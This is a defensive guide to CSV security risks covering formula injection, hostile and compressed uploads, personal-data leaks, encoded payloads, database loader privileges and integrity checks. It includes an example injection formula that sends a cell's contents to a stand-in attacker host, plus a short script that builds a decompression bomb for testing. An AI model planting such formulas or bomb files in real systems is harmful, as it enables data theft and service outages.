CSV Security Risks That Catch Teams Out and What to Do
How a CSV file hurts a team: formula injection, hostile uploads, leaked personal data, hidden payloads and risky loaders, with a fix and a check for each.

Teams treat a CSV as the safest file there is. It is plain text, it has no macros, no scripts and no embedded objects, and every tool can open it. That belief is half right, and the wrong half is where the incidents come from. The file itself is inert. The programs that read it are not: a spreadsheet turns text into formulas, a loader turns a path into a read of the server's disk, an uploader turns a request into an allocation of memory, and a person turns an attachment into a copy on five more machines. Each of those is a place where a CSV crosses a boundary, and each one has caught a team I would have called careful. This guide maps the risks in the order they usually hurt, says what to do about each, and points to the article that covers it in depth. If you only read one section, read the one on boundaries, because that is where most of the work is.
The risks at a glance
Before the detail, here is the whole map. The columns are who gets hurt, where the file crosses the line, and where to read more.
| Risk | Who is hurt | Where it crosses the line | Read |
|---|---|---|---|
| Formula injection | The person who opens your export | Export to spreadsheet | CSV injection, escaping formula characters |
| Hostile or oversized upload | Your server | Upload endpoint | hostile uploads, limits |
| Personal data in the file | The people in the data | Export, email, shared drives | stripping data, masking, GDPR, email |
| Encoded payloads in fields | Downstream systems | Import into a CMS, a report, a log | detecting payloads |
| Over-privileged loaders | Your database host | Load step | This guide, and LOAD DATA LOCAL |
| Tampering and wrong files | Everyone downstream | Between producer and consumer | This guide |
The first three account for nearly everything I see. The last three are quieter and more serious when they happen.
Formula injection is the one people have heard of
A spreadsheet treats a cell whose text begins with =, +, - or @ as a formula, and also a leading tab or carriage return in some versions. If your application exports a CSV that includes text a user typed, such as a name, a comment or a company field, then a user can enter =HYPERLINK("https://attacker.example/?" & A2, "click") as their name, and the person who opens your export in Excel runs it. The classic payloads called out in the OWASP description use dynamic data exchange to start programs, and modern Excel asks before it does that, so the realistic harm today is data exfiltration through a hyperlink or an external-data formula, plus a prompt that trains people to click Yes.
The defense belongs in the export. Prefix any field that starts with one of the trigger characters with a single quote, and keep quoting per the CSV rules, since quoting alone does not help: the parser strips the quotes before the cell is evaluated. The catch is negative numbers, where a leading minus is legitimate, so the rule applies to text fields and not to numeric columns. CSV injection and how formulas in a cell become an attack shows how the attack works end to end, and escaping formula characters in a CSV export has the function and a test table. Some security reviewers dismiss the issue as the spreadsheet's problem, and I disagree: the file is yours, the data in it is attacker-controlled, and a two-line function closes the hole.
A related inbound habit: when you receive a CSV from outside, do not double-click it. Import it with type detection off, as in opening CSV files in Excel and Sheets without damage, so nothing in it is ever evaluated.
Uploads are hostile by default
If an application accepts CSV from users, treat every upload as hostile, including from authenticated users, because one compromised account is enough. The attacks are dull and effective, not clever.
Size. A file can be large on disk or tiny on the wire and huge after decompression. DEFLATE, the compression behind gzip and zip, can reach a ratio near 1,000 to 1 on repetitive data. A quick demonstration:
import gzip, io
raw = b"0" * 100_000_000
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as f:
f.write(raw)
print(len(raw), "->", len(buf.getvalue()), "bytes")100000000 -> 97222 bytesA hundred megabytes of zeros goes over the wire as about 97 KB. A service that accepts .csv.gz and decompresses into memory before checking the size has just allowed a 97 KB request to allocate 100 MB, and a slightly larger file will take the process down. The size limit must be applied to the decompressed stream, counted as it is read.
Row and column shape. A file with ten million rows of one character each is under 20 MB and takes minutes to process. A file with 100,000 columns breaks code that builds a table from the header. A single unclosed double quote, as in "abc, turns the rest of the file into one field, so a parser that buffers a field reads everything into memory. Set a maximum field size in the parser (Python's csv.field_size_limit, for example) and fail with a clear error (the Python csv field larger than limit error).
Type and name. A file named orders.csv may be an executable, a PDF or HTML. Do not trust the extension or the declared content type; decide what you accept, read it with a CSV parser, and never serve it back under a browser-executable type. The OWASP file upload cheat sheet lists the controls.
The articles why a hostile CSV upload can hurt your server and limiting file size and row count for CSV uploads cover the attacks and the numbers to enforce.
Personal data is what actually leaks
The most common CSV security incident is not an attack at all. Someone exports a customer table to answer a question, the file lands in an email, a shared drive, a ticket, a chat message and a laptop's downloads folder, and none of those copies has an access control, an expiry or an owner. A CSV is a good format for moving data, and for that reason it is a good format for losing track of it.
The engineering answers are boring and they work:
Export fewer columns. The default
SELECT *carries emails, birth dates and addresses the recipient never needed. Name the columns.Remove or transform what you can. Drop direct identifiers, replace keys with surrogate ones, round dates and coarsen locations. Stripping personal data from a CSV before sharing it shows the steps.
Mask or hash with care. An unsalted hash of an email address is reversible by anyone who can guess the input; salted hashing and keyed masking have different guarantees, covered in hashing or masking columns in a CSV safely.
Know the legal frame. If the data describes people in the EU, you are handling personal data under the GDPR, which asks for data minimization and appropriate security (Regulation 2016/679, Articles 5 and 32). The practical consequences for files are in handling CSV files full of customer data under GDPR.
Do not send it by email. An attachment is a copy you cannot revoke. Sending a CSV by email safely, and better options lists what to use instead.
The pattern is the same each time: make the file smaller, make it less identifying, and make it traceable. A file that has a named owner, a purpose and a deletion date is a managed asset, and a file without them is a liability.
Payloads hide in ordinary fields
A free-text column is a place where anything can be stored. Base64 blobs, URL-encoded scripts, HTML and long runs of encoded text do not look like an attack in a CSV, and they become one when a downstream system renders or decodes the field. A reporting tool that puts a CSV cell into an HTML page without escaping it is vulnerable to cross-site scripting through your own data feed. A log pipeline that re-parses a field as JSON may be tricked into reading structure from it. A shell script that interpolates a field into a command is the oldest bug in the book.
The defense is to treat a field as data at every step: escape on output for the destination (HTML, SQL, shell), never concatenate it into code, and scan inbound files for values that do not belong in the column. A name field of 4,000 characters of base64 is suspicious by shape alone. Detecting encoded payloads hidden in CSV fields has a scanner and shows what its output looks like.
The loader is a privilege you hand out
This is the risk that gets the least attention, because the people who write loaders and the people who review security rarely sit together. Loading a CSV needs the database to read a file, and the commands that do it come with powers.
In MySQL, LOAD DATA LOCAL INFILE has the server ask the client to send a file. A malicious or compromised server can request any file the client process can read, which is why local_infile is off by default since MySQL 8.0 and why enabling it for convenience should be a deliberate decision (importing a CSV into MySQL with LOAD DATA LOCAL INFILE). In PostgreSQL, server-side COPY ... FROM 'file' reads from the database host's disk and needs the pg_read_server_files role or superuser, and COPY ... FROM PROGRAM runs a command and needs pg_execute_server_program (predefined roles). An application that runs as a superuser so that its import works has handed its own users a path to the host.
The safe pattern is a client-side load with the narrowest account that can insert into a staging table: \copy in psql, or a driver's copy stream, with the file coming from the application and not named by the user (loading a CSV into a staging table, then merging). Never build a file path from user input, and never let a user choose the PROGRAM or the INFILE argument. Staging tables also contain the blast radius: the load has insert rights on one table with no triggers, and the merge into real tables runs under another role after validation.
Integrity and provenance
A CSV carries no signature. The file that arrives may be a different one than the file that was sent, a truncated one, or one from the wrong day. For a feed that drives money or access, add the cheap guarantees: a checksum published through a separate channel, a row count in a manifest, a fixed file naming scheme, and a rule that the loader rejects a file that does not match. Making a CSV a contract with the data provider describes the manifest, and testing that a CSV export was not truncated gives the checks.
Tampering inside the file is harder to catch. A column that is supposed to be a country code and holds DROP TABLE is a validation failure, not a signature one, and the validators in validating a CSV file catch it when the schema says what each column may hold. A rule worth adopting: every column has a declared type and a pattern, and a value outside it stops the load.
Secrets travel in CSVs too
Exports of configuration, user tables and audit logs often include API tokens, password hashes, session identifiers and access keys, because the table they came from has them. A CSV in a bug report with a token column is a credential leak. Two habits help. Exclude secret columns by name in every export query, with an allow-list of columns and not a deny-list, so a new secret column added next quarter is not exported by default. And scan files before they leave: a regex for the shapes of tokens your systems issue costs an afternoon and catches the case where someone exports the wrong table.
A worked review of one export
Abstract advice is easy to nod at, so here is what a review of a single export looks like. Take a hypothetical one: a "users.csv" that the support team downloads from an admin page and opens in Excel. It has the columns id, email, full_name, company, phone, notes, password_hash, last_login and api_token.
Start with the columns, because that is the cheapest fix. Support needs to find a person and see their plan. They do not need password_hash or api_token, and nobody ever decided to include them: the export is SELECT * FROM users. Remove both on the first pass. That one change turns a breach-in-waiting into an ordinary customer list, and it takes thirty seconds. Then ask whether notes and phone are used. If a column has no reader, it has no business in the file.
Next, the text columns that users control. full_name, company and notes all come from sign-up forms or from support agents typing. Each is a formula injection route into the opener's Excel. Escape them in the export function, not in the admin page, and add the test table from the escaping article. Check phone too, because +44 20 7946 0000 begins with a plus sign and is displayed wrongly by Excel even with no attacker.
Then the file's life. Where does it go after the download? In this example it lands in a downloads folder, gets renamed users_final_v2.csv, is attached to a ticket and is kept for years. Add a retention rule to the ticket system, a watermark in the file name (date and requester) and an audit log row for each download. If that is too much, make the export small enough that none of it matters: counts by plan, and a search box in the admin page for individual lookups.
Finally, the upload side of the same system. The admin can also import a CSV of new users. Open that endpoint with the hostile cases from this guide: a gzip bomb, a file with one open quote, a 5,000-column header. If it survives them with clean errors, move on. If not, the shape limits go first, and the role that runs the import goes second: it should insert into a staging table and nothing more.
A review like this usually ends in a handful of changes, and none of them is clever. Most of the value is in asking what the file is for.
If a file has already leaked
Sooner or later a file with the wrong content goes to the wrong place. The order of operations matters more than elegance.
First, establish what it contained. This is where the register of exports pays off: the file name, the columns, the number of people and the recipients. If you have to open the file to find out, do it on a locked-down machine and write down the answers rather than forwarding the file for opinions.
Second, contain it. Revoke the link, delete the message from the mail system if an administrator can, ask the recipient to delete and confirm in writing, and remove the file from shared drives. Each of those has a window of usefulness that shrinks by the hour, so act on the ones that can be done in minutes before you discuss the rest.
Third, decide whether it is a reportable event. Under the GDPR, a breach of personal data likely to result in risk to people must be reported to the supervisory authority within 72 hours of becoming aware, and people may need to be told. That decision belongs to your data protection officer or legal team, and the facts from step one are what they need. If a credential was in the file, such as an API token or a password hash, rotate it now, without waiting for the legal conclusion.
Fourth, find the cause and fix it in the process, not just the instance. A file leaked because the export included a secret column: change the export to an allow-list. A file leaked because it was emailed: remove the habit with a better channel. A blame-free write-up that names the missing control is worth more than the apology, and it is the document the next engineer will read.
Objections you will hear
When you start fixing these, people push back. Most objections are reasonable and have an answer.
"It is only an internal export." Internal files still reach the wrong person, and an internal user can be the attacker, or the compromised account. The cost of the controls is small, so the argument has to be that the data is harmless, and a customer list never is.
"Excel should deal with formulas." It does ask, and the vendors do consider it by design. But your name is on the file, and a warning dialog that fires for every export is one people click through. Two lines of code in your export remove the choice.
"The apostrophe corrupts our data." It does if a program reads the file, and that is the reason to escape only the spreadsheet export and leave the machine export raw. The fix applies per consumer, not globally.
"Limits will block legitimate uploads." Then set them from real data and give trusted users a separate path. A limit that never trips is a limit nobody chose, and one that trips often is one set too low. Log the rejections and adjust.
"We have no time for a register of files." The register can be a tag on the export job and a column in a table, built in an hour. The time you save is the week you would otherwise spend searching for copies after a request or an incident.
A small export library beats a policy document
Policies are read once. Code is run every time. If your team writes exports in more than one place, put the safe behavior into one small module that everyone calls: a function that takes a query and a list of named columns, escapes text cells for spreadsheets, writes a header, uses UTF-8 and a known line ending, and records the export in the register. A developer who needs a CSV then has one obvious way to get one, and it is the safe way. The alternative, where each team writes its own csv.writer call, produces six exports with six different levels of care.
Test the module with the cases in this guide: a field starting with each trigger character, a negative number, a comma, a quote and a newline in a field, and a column added to the table. Give it a name people will find. The boring approach of one well-tested function does more for a team's security than any amount of reading.
Where the work goes first
If you have a week, spend it at two boundaries and ignore the rest.
At the export boundary, apply three things to every file your systems produce for people: name the columns, escape formula characters in text fields, and attach an owner and a retention rule. At the upload boundary, apply four: a size limit on decompressed bytes, a row and field limit, a content check by parsing rather than by extension, and a staging load under a narrow role. Those seven controls address the large majority of the incidents I have read about, and none of them needs a product.
After that, the order depends on what you hold. A team with customer data should work down the personal data section. A team with an upload feature should test the hostile upload cases first. A team that only moves files between its own systems may find that the loader privileges and the integrity checks are the whole job.
Checks you can run today
A short list that turns the guide into an audit:
Open the last five exports in a text editor. Are there columns nobody asked for?
Search them for fields beginning with
=,+,-or@in text columns.Upload a gzip of 100 MB of zeros and a file with one unclosed quote to a test environment. Does the service stay up and answer with a clear error?
List the database roles that can run server-side
COPYorLOAD DATA. Does an application account appear?Find where the exports live: email, chat, drive. Which have an owner and an expiry?
If any of the five surprises you, that section of the guide is your starting point.
What this guide does not cover
It does not cover the security of the systems that store the data. Encryption at rest, network controls, backups and database access control are separate subjects, and a perfectly handled CSV is still exposed by a database with a default password. It does not cover legal advice either. The sections on personal data describe engineering practice and the usual shape of the obligations; whether your processing is lawful, which basis you rely on and what you must report are questions for your data protection officer or counsel.
It is also not a guide to malware analysis. If a file came from an unknown sender and you suspect it of being an attack, open it only in an isolated environment, import it as text, and treat it as untrusted data. For the file format itself, the reference is RFC 4180 and the OWASP CSV injection page; for the broader family of file handling risks see the OWASP upload cheat sheet above. The rest of the CSV series covers the mechanics, starting with everything a CSV file does and does not promise you for the format and how CSV quoting works for the rules a parser applies before any of the risks above come into play.


